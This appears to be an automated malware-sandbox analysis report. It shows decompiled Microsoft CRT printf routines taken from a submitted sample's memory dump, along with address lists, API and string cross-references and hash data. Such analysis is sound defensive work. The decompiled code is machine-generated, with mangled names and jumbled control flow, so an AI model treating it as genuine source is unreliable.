									if(_t507 == 1) {
										asm("int3");
									}
								}
								if( *(_t627 - 0x2e0) != 0) {
									 *(_t627 - 0x300) =  *(_t627 - 0x24c);
									E0041AFC0(_t627 - 0x40);
									_t502 =  *(_t627 - 0x300);
								} else {
									 *((intOrPtr*)(L00423010(_t561))) = 0x16;
									E00422DA0(_t558, _t561, _t625, _t626, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t627 - 0x2fc) = 0xffffffff;
									E0041AFC0(_t627 - 0x40);
									_t502 =  *(_t627 - 0x2fc);
								}
								goto L229;
							}
							L220:
							if( *(_t627 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t627 - 0x334) = 0;
							goto L223;
						}
					} else {
						L116:
						 *((intOrPtr*)(L00423010(__ecx))) = 0x16;
						__eax = E00422DA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x2f8) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041AFC0(__ecx);
						__eax =  *(__ebp - 0x2f8);
						L229:
						return E0042BF30(_t502, _t558,  *(_t627 - 0x48) ^ _t627, _t598, _t625, _t626);
					}
					L118:
					if(( *(_t627 - 0x10) & 0x00000020) == 0) {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					} else {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					}
					 *(_t627 - 0x28) = 1;
					goto L190;
				}
			}

0x00434f57
0x00434f57
0x00434f57
0x00434f57
0x00434f57
0x00434f57
0x00434f5b
0x00434f60
0x00434f63
0x00434f70
0x00000000
0x00000000
0x00434f76
0x00434f76
0x00434f78
0x00434f86
0x00434f7a
0x00434f7a
0x00434f7a
0x00434f90
0x00434f96
0x00434fa3
0x00434fa5
0x00434faa
0x00434fac
0x00434fb1
0x00434fb6
0x00434fb8
0x00434fbd
0x00434fc3
0x00434fc5
0x00434fc5
0x00434fc3
0x00434fcd
0x00435015
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x0043550c
0x00435512
0x0043551c
0x00435531
0x00435546
0x00435548
0x0043554c
0x0043554c
0x00435533
0x00435533
0x00435537
0x00435537
0x0043551e
0x0043551e
0x00435522
0x00435522
0x0043551c
0x0043555c
0x00435568
0x0043557e
0x00435583
0x00435583
0x00435599
0x0043559e
0x004355a7
0x004355af
0x004355c5
0x004355ca
0x004355ca
0x004355af
0x004355d1
0x004356a5
0x004356b8
0x004356bd
0x00000000
0x004355d7
0x004355d7
0x004355db
0x00000000
0x00000000
0x004355e1
0x004355e1
0x004355ee
0x004355f7
0x004355fd
0x004355fd
0x0043560c
0x00435614
0x00000000
0x00000000
0x0043561a
0x00435623
0x00435642
0x00435647
0x0043564a
0x00435659
0x00435666
0x00435671
0x00435671
0x00000000
0x00435671
0x00435668
0x0043566f
0x0043567d
0x00435696
0x0043569b
0x00000000
0x0043569b
0x00000000
0x0043566f
0x004356a3
0x004356c0
0x004356c7
0x004356cf
0x004356e5
0x004356ea
0x004356ea
0x004356cf
0x004356c7
0x004356ed
0x004356f1
0x004356f9
0x004356fe
0x00435701
0x00435701
0x00435708
0x00435708
0x004347df
0x004347e5
0x004347f2
0x004347f7
0x00000000
0x0043480a
0x00434814
0x0043483b
0x00434822
0x00434833
0x00434833
0x00434814
0x00434845
0x0043484b
0x00434857
0x0043485a
0x00434868
0x0043486b
0x00434878
0x0043491d
0x00434923
0x00434930
0x00000000
0x00000000
0x00434936
0x0043493c
0x00000000
0x00434943
0x00434943
0x0043495b
0x00434960
0x00434963
0x00434965
0x00434a1f
0x00434a32
0x00434a37
0x00000000
0x0043496b
0x0043497e
0x00434983
0x00434989
0x0043498b
0x00434994
0x00434994
0x00434997
0x004349a3
0x004349a7
0x004349ad
0x004349af
0x004349b4
0x004349b6
0x004349bb
0x004349c0
0x004349c2
0x004349c7
0x004349ca
0x004349cd
0x004349cf
0x004349cf
0x004349cd
0x004349d0
0x004349d0
0x004349d7
0x00000000
0x004349d9
0x004349de
0x004349fa
0x00434a02
0x00434a0f
0x00434a14
0x00000000
0x00434a14
0x004349d7
0x00000000
0x00434a3f
0x00434a3f
0x00434a46
0x00434a49
0x00434a4c
0x00434a4f
0x00434a52
0x00434a55
0x00434a58
0x00434a5f
0x00434a66
0x00000000
0x00000000
0x00434a72
0x00434a72
0x00434a79
0x00434a85
0x00434a88
0x00434a8e
0x00434a95
0x00000000
0x00000000
0x00434a97
0x00434a97
0x00434a9d
0x00434a9d
0x00434aa4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434ae7
0x00434ae7
0x00434aee
0x00434af1
0x00434b1b
0x00434b1e
0x00434b1e
0x00434b21
0x00434b28
0x00434b28
0x00434b2c
0x00434af3
0x00434af3
0x00434aff
0x00434b02
0x00434b06
0x00434b08
0x00434b0b
0x00434b0b
0x00434b0e
0x00434b14
0x00434b16
0x00434b16
0x00434b19
0x00000000
0x00000000
0x00434b34
0x00434b34
0x00000000
0x00000000
0x00434b40
0x00434b40
0x00434b47
0x00434b4a
0x00434b6a
0x00434b6d
0x00434b6d
0x00434b77
0x00434b77
0x00434b7b
0x00434b4c
0x00434b4c
0x00434b58
0x00434b5b
0x00434b5f
0x00434b61
0x00434b61
0x00434b68
0x00000000
0x00000000
0x00434b83
0x00434b83
0x00434b8a
0x00434b96
0x00434b99
0x00434b9f
0x00434ba6
0x00434cb9
0x00000000
0x00434cb9
0x00434bac
0x00434bac
0x00434bb2
0x00434bb2
0x00434bb9
0x00000000
0x00434bef
0x00434bef
0x00434bf2
0x00434bf5
0x00434bf8
0x00434c20
0x00434c20
0x00434c23
0x00434c26
0x00434c29
0x00434c4e
0x00434c4e
0x00434c51
0x00434c54
0x00434c57
0x00434c90
0x00434ca1
0x00000000
0x00434ca1
0x00434c59
0x00434c59
0x00434c5c
0x00434c5f
0x00434c62
0x00000000
0x00000000
0x00434c64
0x00434c64
0x00434c67
0x00434c6a
0x00434c6d
0x00000000
0x00000000
0x00434c6f
0x00434c6f
0x00434c72
0x00434c75
0x00434c78
0x00000000
0x00000000
0x00434c7a
0x00434c7a
0x00434c7d
0x00434c80
0x00434c83
0x00000000
0x00000000
0x00434c85
0x00434c85
0x00434c88
0x00434c8b
0x00434c8e
0x00434c92
0x00000000
0x00434c92
0x00000000
0x00434c8e
0x00434c2b
0x00434c2b
0x00434c2e
0x00434c32
0x00434c35
0x00000000
0x00434c37
0x00434c3a
0x00434c3d
0x00434c40
0x00434c43
0x00434c49
0x00000000
0x00434c49
0x00434c35
0x00434bfa
0x00434bfa
0x00434bfd
0x00434c01
0x00434c04
0x00000000
0x00434c06
0x00434c09
0x00434c0c
0x00434c0f
0x00434c12
0x00434c18
0x00000000
0x00434c18
0x00000000
0x00434ca3
0x00434ca6
0x00434ca9
0x00000000
0x00000000
0x00434bc0
0x00434bc0
0x00434bc3
0x00434bc6
0x00434bc9
0x00434be1
0x00434be4
0x00434be4
0x00434be7
0x00434bcb
0x00434bce
0x00434bd1
0x00434bd7
0x00434bdc
0x00434bdc
0x00000000
0x00000000
0x00434cae
0x00434cae
0x00434cb1
0x00434cb1
0x00434cb6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434cbe
0x00434cbe
0x00434cc5
0x00434cd1
0x00434cd4
0x00434cda
0x00434ce1
0x00000000
0x00435502
0x00435502
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x004354bc
0x004354bf
0x004354c2
0x004354c5
0x004354c8
0x004354cb
0x004354d1
0x004354d1
0x004354d1
0x004354d9
0x004354dd
0x00000000
0x00000000
0x004354df
0x004354df
0x004354e2
0x004354e5
0x004354e5
0x004354ea
0x004354ed
0x004354f0
0x004354f3
0x004354f6
0x004354f9
0x004354fc
0x004354fc
0x004354ff
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00435502
0x00434ce7
0x00434ced
0x00434ced
0x00434cf4
0x00000000
0x0043504e
0x0043504e
0x00435055
0x0043505c
0x0043505c
0x0043505f
0x00000000
0x00000000
0x00434cfb
0x00434cfe
0x00434cfe
0x00434d04
0x00434d06
0x00434d09
0x00434d09
0x00434d0e
0x00434d0e
0x00000000
0x00000000
0x00434e3b
0x00434e3e
0x00434e3e
0x00434e43
0x00434e45
0x00434e48
0x00434e48
0x00434e4e
0x00434e4e
0x00000000
0x00000000
0x0043521b
0x0043521b
0x00000000
0x00000000
0x00434da5
0x00434da5
0x00434db1
0x00434db7
0x00434dbe
0x00434dcc
0x00434dcc
0x00434dd2
0x00434dd5
0x00434de1
0x00434e36
0x00000000
0x00434e36
0x00434dc0
0x00434dc0
0x00434dc6
0x00434dca
0x00434de6
0x00434de9
0x00434de9
0x00434def
0x00434e17
0x00434e1e
0x00434e24
0x00434e27
0x00434e2a
0x00434e30
0x00434e33
0x00434df1
0x00434df1
0x00434df7
0x00434dfa
0x00434dfd
0x00434e03
0x00434e06
0x00434e09
0x00434e0b
0x00434e0e
0x00434e0e
0x00000000
0x00434def
0x00000000
0x00000000
0x00435065
0x00435068
0x0043506b
0x0043506e
0x00435074
0x00435077
0x0043507e
0x00435082
0x0043508d
0x0043508d
0x00435091
0x004350a8
0x004350a8
0x004350af
0x004350b1
0x004350b1
0x004350b8
0x004350b8
0x004350bf
0x004350d0
0x004350df
0x004350e2
0x004350e6
0x004350fc
0x004350e8
0x004350e8
0x004350eb
0x004350f1
0x004350f7
0x004350f7
0x004350e6
0x00435106
0x00435109
0x0043510c
0x0043510f
0x00435112
0x00435115
0x0043511b
0x00435121
0x00435129
0x0043512a
0x0043512d
0x0043512e
0x00435131
0x00435132
0x00435139
0x0043513a
0x0043513d
0x0043513e
0x00435141
0x00435142
0x00435148
0x00435149
0x00435157
0x00435159
0x0043515f
0x0043515f
0x00435165
0x00435167
0x0043516b
0x0043516d
0x00435175
0x00435176
0x00435179
0x0043517a
0x00435188
0x0043518a
0x0043518a
0x0043516b
0x0043518d
0x00435194
0x00435197
0x0043519c
0x0043519c
0x004351a2
0x004351a4
0x004351ac
0x004351ad
0x004351b0
0x004351b1
0x004351c0
0x004351c2
0x004351c2
0x004351a2
0x004351c5
0x004351c8
0x004351cb
0x004351ce
0x004351d3
0x004351d9
0x004351dc
0x004351df
0x004351df
0x004351e2
0x004351e2
0x004351e5
0x004351f1
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00000000
0x00435502
0x00435093
0x00435093
0x0043509a
0x0043509d
0x00000000
0x00000000
0x0043509f
0x0043509f
0x00000000
0x0043509f
0x00435084
0x00435084
0x00000000
0x00000000
0x00434d11
0x00434d14
0x00434d14
0x00434d1a
0x00434d75
0x00434d7d
0x00434d84
0x00434d8a
0x00434d90
0x00434d1c
0x00434d1c
0x00434d26
0x00434d2a
0x00434d32
0x00434d39
0x00434d46
0x00434d4d
0x00434d59
0x00434d5f
0x00434d66
0x00434d68
0x00434d68
0x00434d6f
0x00434d97
0x00434d9d
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00000000
0x004351f9
0x004351fc
0x004351ff
0x00435202
0x00000000
0x00000000
0x00000000
0x00000000
0x0043525c
0x0043525c
0x00435266
0x00435266
0x0043526c
0x0043526e
0x00435271
0x00435271
0x00435277
0x00435277
0x00000000
0x00000000
0x00435214
0x00435214
0x00000000
0x00000000
0x00434e51
0x00434e51
0x00434e55
0x00434e63
0x00434e66
0x00434e57
0x00434e57
0x00434e57
0x00434e6c
0x00434e72
0x00434e78
0x00434e84
0x00434e8a
0x00434e8a
0x00434e90
0x00434ef7
0x00434ef7
0x00434efb
0x00434efd
0x00434f03
0x00434f03
0x00434f06
0x00434f09
0x00434f0f
0x00434f0f
0x00434f0f
0x00434f1b
0x00434f1e
0x00434f24
0x00434f26
0x00000000
0x00000000
0x00434f28
0x00434f28
0x00434f2e
0x00434f31
0x00434f33
0x00000000
0x00000000
0x00434f35
0x00434f3b
0x00434f3e
0x00434f3e
0x00434f46
0x00434f46
0x00434f4c
0x00434f4c
0x00434f4f
0x00000000
0x00434e92
0x00434e92
0x00434e92
0x00434e96
0x00434e98
0x00434e9d
0x00434e9d
0x00434ea0
0x00434ea7
0x00434eaa
0x00434eb0
0x00434eb0
0x00434eb0
0x00434ebc
0x00434ebf
0x00434ec5
0x00434ec7
0x00000000
0x00000000
0x00434ec9
0x00434ec9
0x00434ecf
0x00434ed2
0x00434ed4
0x00000000
0x00000000
0x00434ed6
0x00434edc
0x00434edf
0x00434edf
0x00434ee7
0x00434eed
0x00434ef0
0x00434ef2
0x00434f52
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00435502
0x00000000
0x0043520b
0x0043520b
0x00000000
0x00000000
0x00435227
0x00435227
0x00435231
0x00435231
0x0043523b
0x0043523b
0x00435241
0x00435243
0x0043524d
0x0043524d
0x00435250
0x00435253
0x00435253
0x0043527a
0x0043527d
0x0043527d
0x00435282
0x004352a4
0x004352a4
0x004352aa
0x004352cc
0x004352cc
0x004352cf
0x00435316
0x00435316
0x00435319
0x00435336
0x0043533a
0x00435342
0x00435342
0x00435344
0x0043534a
0x0043531b
0x0043531b
0x0043531f
0x00435327
0x00435328
0x0043532e
0x0043532e
0x004352d1
0x004352d4
0x004352d4
0x004352d7
0x004352f5
0x00435301
0x00435304
0x00435305
0x0043530b
0x004352d9
0x004352d9
0x004352dd
0x004352e5
0x004352e6
0x004352e7
0x004352ed
0x004352ed
0x00435311
0x004352ac
0x004352ac
0x004352b8
0x004352be
0x004352be
0x00435284
0x00435284
0x00435290
0x00435296
0x00435296
0x00435353
0x00435353
0x00435356
0x00435398
0x00435398
0x0043539e
0x004353a4
0x004353aa
0x00000000
0x00435358
0x00435358
0x00435358
0x0043535f
0x00000000
0x00000000
0x00435361
0x00435361
0x0043536c
0x00435372
0x00435374
0x0043537a
0x0043537d
0x0043537f
0x00435385
0x0043538e
0x00435393
0x004353b0
0x004353b3
0x004353b3
0x004353b8
0x004353bd
0x004353bd
0x004353c3
0x004353c5
0x004353cb
0x004353d1
0x004353d1
0x004353da
0x004353da
0x004353c3
0x004353e0
0x004353e4
0x004353f2
0x004353f5
0x004353f8
0x004353ff
0x00435401
0x00435401
0x004353e6
0x004353e6
0x004353e6
0x0043540e
0x0043540e
0x00435414
0x00435416
0x00435416
0x0043541d
0x00435420
0x00435423
0x00435423
0x00435423
0x00435429
0x0043542c
0x0043542f
0x00435431
0x00000000
0x00000000
0x00435433
0x00435439
0x00435439
0x0043543f
0x00000000
0x00000000
0x00435441
0x00435441
0x00435444
0x00435447
0x0043544e
0x00435455
0x0043545d
0x00435463
0x00435466
0x00435469
0x00435470
0x0043547c
0x00435482
0x00435488
0x0043548f
0x00435491
0x00435497
0x00435497
0x0043549d
0x0043549d
0x004354a3
0x004354a6
0x004354ac
0x004354b1
0x004354b4
0x00435423
0x00435423
0x00435429
0x0043542c
0x0043542f
0x00435431
0x00000000
0x00000000
0x00000000
0x00435431
0x00435423
0x00435363
0x00435363
0x0043536a
0x00000000
0x00000000
0x00000000
0x0043536a
0x00000000
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00000000
0x00000000
0x00434ac1
0x00434ac4
0x00434ac7
0x00000000
0x00000000
0x00434acc
0x00434acf
0x00434ad4
0x00000000
0x00000000
0x00434ab6
0x00434ab6
0x00434ab9
0x00434abc
0x00000000
0x00000000
0x00434aab
0x00434aae
0x00434ab1
0x00000000
0x00000000
0x00434ad9
0x00434ad9
0x00434adc
0x00434adc
0x00434adf
0x00000000
0x00000000
0x00434ae2
0x00000000
0x00000000
0x0043487e
0x00434880
0x0043488e
0x00434882
0x00434882
0x00434882
0x00434898
0x0043489e
0x004348ab
0x004348ad
0x004348b2
0x004348b4
0x004348b9
0x004348be
0x004348c0
0x004348c5
0x004348cb
0x004348cd
0x004348cd
0x004348cb
0x004348ce
0x004348d5
0x00000000
0x004348d7
0x004348dc
0x004348f8
0x00434900
0x0043490d
0x00434912
0x00000000
0x00434912
0x004348d5
0x00434878
0x0043570d
0x00435714
0x0043572b
0x0043572b
0x00435735
0x00435735
0x0043573b
0x00435748
0x0043574a
0x0043574f
0x00435751
0x00435756
0x0043575b
0x0043575d
0x00435762
0x00435768
0x0043576a
0x0043576a
0x00435768
0x00435772
0x004357bd
0x004357c6
0x004357cb
0x00435774
0x00435779
0x00435795
0x0043579d
0x004357aa
0x004357af
0x004357af
0x00000000
0x00435772
0x00435716
0x0043571d
0x00000000
0x00000000
0x0043571f
0x0043571f
0x00000000
0x0043571f
0x00434fcf
0x00434fcf
0x00434fd4
0x00434ff0
0x00434ff8
0x00435002
0x00435005
0x0043500a
0x004357d1
0x004357de
0x004357de
0x0043501a
0x00435020
0x00435040
0x00435022
0x0043502f
0x0043502f
0x00435042
0x00000000
0x00435042

APIs

_get_int_arg.LIBCMTD ref: 00434F5B
__get_printf_count_output.LIBCMTD ref: 00434F69
__invalid_parameter.LIBCMTD ref: 00434FF0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00435005
_write_multi_char.LIBCMTD ref: 0043557E
_write_string.LIBCMTD ref: 00435599
_write_multi_char.LIBCMTD ref: 004355C5
_wctomb_s.LIBCMTD ref: 00435642

Strings

_output_s_l, xrefs: 004348EE, 00434FE6
-, xrefs: 0043551E
("'n' format specifier disabled", 0), xrefs: 00434FA5, 00434FEB
("Incorrect format specifier", 0), xrefs: 004348AD, 004348F3
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 004348B9, 004348E9, 00434FB1, 00434FE1

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2357813345-2363074782
Opcode ID: 95e1ab4eabb74a36a0ea2f4e90c40952d5c6a9bca451f70103cd101a8404efea
Instruction ID: 692cb9824cac5a7dc6a908ad404ea18c76489f3423dd7ac0a0fca5fea60e8eff
Opcode Fuzzy Hash: 95e1ab4eabb74a36a0ea2f4e90c40952d5c6a9bca451f70103cd101a8404efea
Instruction Fuzzy Hash: 29A1AFB0D016289BDF24DF54CC49BEEB7B1AB88304F5451DAE1197B281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C28A, Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043C28A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t482;
				signed int _t486;
				void* _t491;
				signed int _t493;
				void* _t501;
				void* _t519;
				signed int _t523;
				void* _t534;
				signed int _t576;
				void* _t598;
				void* _t599;
				signed int _t600;
				void* _t602;
				void* _t603;

				L0:
				while(1) {
					L0:
					_t599 = __esi;
					_t598 = __edi;
					_t534 = __ebx;
					_t482 = E004285E0(_t600 + 0x14);
					_t603 = _t602 + 4;
					 *(_t600 - 0x484) = _t482;
					if(E00434180() != 0) {
						goto L115;
					}
					L106:
					__ecx = 0;
					if(0 == 0) {
						 *(__ebp - 0x4f4) = 0;
					} else {
						 *(__ebp - 0x4f4) = 1;
					}
					__edx =  *(__ebp - 0x4f4);
					 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
					if( *(__ebp - 0x488) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E520();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x488) != 0) {
						L114:
						while(1) {
							L187:
							if( *(_t600 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t600 - 0x10) & 0x00000040) != 0) {
								if(( *(_t600 - 0x10) & 0x00000100) == 0) {
									if(( *(_t600 - 0x10) & 0x00000001) == 0) {
										if(( *(_t600 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t600 - 0x14)) = 0x20;
											 *(_t600 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t600 - 0x14)) = 0x2b;
										 *(_t600 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t600 - 0x14)) = 0x2d;
									 *(_t600 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t600 - 0x4ac)) =  *((intOrPtr*)(_t600 - 0x18)) -  *(_t600 - 0x24) -  *(_t600 - 0x1c);
							if(( *(_t600 - 0x10) & 0x0000000c) == 0) {
								E0043CC80(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
							}
							E0043CCC0( *(_t600 - 0x1c), _t600 - 0x14,  *(_t600 - 0x1c),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
							_t603 = _t603 + 0x10;
							if(( *(_t600 - 0x10) & 0x00000008) != 0) {
								if(( *(_t600 - 0x10) & 0x00000004) == 0) {
									E0043CC80(0x30,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
									_t603 = _t603 + 0x10;
								}
							}
							if( *(_t600 - 0xc) != 0) {
								L208:
								E0043CCC0( *(_t600 - 0x24),  *((intOrPtr*)(_t600 - 4)),  *(_t600 - 0x24),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t600 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 4));
								 *(_t600 - 0x4b4) =  *(_t600 - 0x24);
								while(1) {
									L203:
									 *(_t600 - 0x4b4) =  *(_t600 - 0x4b4) - 1;
									if( *(_t600 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t519 = E0041AFF0(_t600 - 0x40);
									_t523 = E0043B720(_t600 - 0x458,  *((intOrPtr*)(_t600 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AFF0(_t600 - 0x40))) + 0xac)), _t519);
									_t603 = _t603 + 0x10;
									 *(_t600 - 0x4b8) = _t523;
									if( *(_t600 - 0x4b8) > 0) {
										L206:
										E0043CC20( *(_t600 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0xc;
										 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 0x4b0)) +  *(_t600 - 0x4b8);
										continue;
									}
									L205:
									 *(_t600 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t600 - 0x44c) >= 0) {
									if(( *(_t600 - 0x10) & 0x00000004) != 0) {
										E0043CC80(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0x10;
									}
								}
							}
							L212:
							if( *(_t600 - 0x20) != 0) {
								L0041C6E0( *(_t600 - 0x20), 2);
								_t603 = _t603 + 8;
								 *(_t600 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t600 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t600 + 0xc))));
								_t538 =  *(_t600 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t600 + 0xc)) =  *((intOrPtr*)(_t600 + 0xc)) + 2;
								if(( *(_t600 - 0x454) & 0x0000ffff) == 0 ||  *(_t600 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t600 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t600 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t600 - 0x4d8) = 0;
									} else {
										 *(_t600 - 0x4d8) =  *(( *(_t600 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t600 - 0x450) =  *(_t600 - 0x4d8);
								_t576 =  *(_t600 - 0x450) * 9;
								_t493 =  *(_t600 - 0x45c);
								_t546 = ( *(_t576 + _t493 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t600 - 0x45c) = ( *(_t576 + _t493 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t600 - 0x45c) != 8) {
									L16:
									 *(_t600 - 0x4e0) =  *(_t600 - 0x45c);
									if( *(_t600 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t600 - 0x4e0) * 4 +  &M0043CB14))) {
										case 0:
											L18:
											 *(_t600 - 0xc) = 1;
											E0043CC20( *(_t600 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
											_t603 = _t603 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t58 =  *(__ebp - 0x4e4) + 0x43cb4c; // 0x498d04
											__ecx =  *_t58 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043CB34))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t82;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t93;
												 *(__ebp - 0x30) = __ecx + _t93;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t101 =  *(__ebp - 0x4e8) + 0x43cb74; // 0xc3819003
											__ecx =  *_t101 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043CB60))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
